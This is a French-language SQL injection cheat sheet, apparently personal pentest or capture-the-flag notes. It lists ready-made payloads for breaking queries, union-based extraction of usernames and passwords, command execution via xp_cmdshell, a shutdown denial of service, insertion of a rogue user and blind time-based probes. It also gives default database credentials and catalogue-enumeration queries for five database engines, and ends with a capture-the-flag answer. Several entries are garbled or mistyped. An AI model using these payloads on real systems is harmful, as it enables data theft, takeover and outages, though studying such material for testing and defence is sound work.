outils sécuritée, by tanguy schnellbach





Commandes d'injection SQL pour la découverte
Chaîne d'attaque par injection SQL
Query syntax breakingSingle Quote('), Double Quote(")
Injection SQL commentHyphens (--),Hash(#),Comment(/*)
Extending/Appending queriesSemicolon (;)
Injecting/Bypassing filterCHAR()?ASCII(),HEX,CONCAT(),CAST(),CONVERT(),NULL
Commandes d'injection SQL courantes
Injection UnionUnion all select NULL (Multipl columns)
Running COmmand1;exec master...xp_cmdshell 'dir' > C:\inetpub\wwwroot\dir.txt' OR master.dbo.xp_cmdshell
Loading FilesLOAD_FILE(),User UTL_FILE and utfReadfileAsTable
Adding user1';insert into users values('nto','nto123')
Dos1';shutdown --
Fetching Fieldsselect name from syscolumns where id = (select id FROM sysobjects where name = 'target table name') -- (Union can help) Co
Commandes courantes d'injection SQL aveugle
Quick CheckAND 1=1, AND 1=0
User Check1+AND+USER_NAME()='dbo'
Injecting Wait1;waitfor+delay+'0:à:10'
Check for saSELECT+ASCII(SUBSTRING((a.loginame),1,1))+FROM+master..sysprocesses+AS+a+WHERE+a.spid+=+@@SPID)=115
Looping/SleepBENCHMARK(TIMES,TASK), pg_sleep(10)
par défault Usernames/Password
Oraclescott/tiger, dbsnmp/dbsnmp>
MySQLmysql/<BLANK>,root/<BLANK>
PostgreSQLpostgres/<BLANK>
MS-SQLsa/<BLANK>
DB2db2admin/db2admin




Commandes d'injection SQL courantes pour les bases de données principales
MS-SQL
Grab version@@version
Usersname FROM master..syslogins
Tablesname FROM master..sysobjects WHERE xtype = 'U'
Databasename FROM master..sysdatabases;
Columnsname FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'élt;TABLENAME')
Running UserDB_NAME()
Oracle
Grab versiontable v$version compare with 'Oracle%'
Users * from dba_users
Tablestable_name from all_tables
Databasedistinct owner from all_tables
Columnscolumn_name from all_tab_columns where table_name='<TABLENAME>
Running User user from dual
IBM DB2
Grab versionVersionnumber from sysibm.sysversions;
Users user from sysibm.sysdummy1
Tablesname from sysibm.systables
Databaseschemaname from syscat.schemata
Columnsname, tbname, coltype from sysibm.syscolumns
Running User user from sysibm.sysdummy1
MySQL
Grab version@@version
Users * from mysql.user
Tablestable_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Databasedistinct(db) FROM mysql.db
Columnstable_schema, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' AND table_name == '<TABLENAME>'
Running User user()
PostgreSQL
Grab versionversion()
Users * from pg_user
Databasedatname FROM pg_database
Running User user;




injection SQL
permet d'injecter dans un site une commande SQL
' '--inserer entre le debut de la demande et la fin (le serveur rajouteras une <'> la commande souhaitée
exemple : ' OR '1'=1
recupere quand on connais les nom des tables'and '1'='0' union select null,concat(first_name,0x0a,last_name,user,0x3a,password) from users
connaitre la version mysql'and '1'='0' union select null, version()#
afficher les tables 'AND 1=2 UNION SELECT CONCAT(table_schema,0x0a,table_name),null,null,null,null FROM information_schema.tables#
afficher les tables'AND 1=2 UNION SELECT CONCAT(COLUMN_NAME),null,null,null,null FROM INFORMATION_SCHEMA.COLUMNS#
FCSC 2021 intro" -1 OR 1=1 LIMIT 1;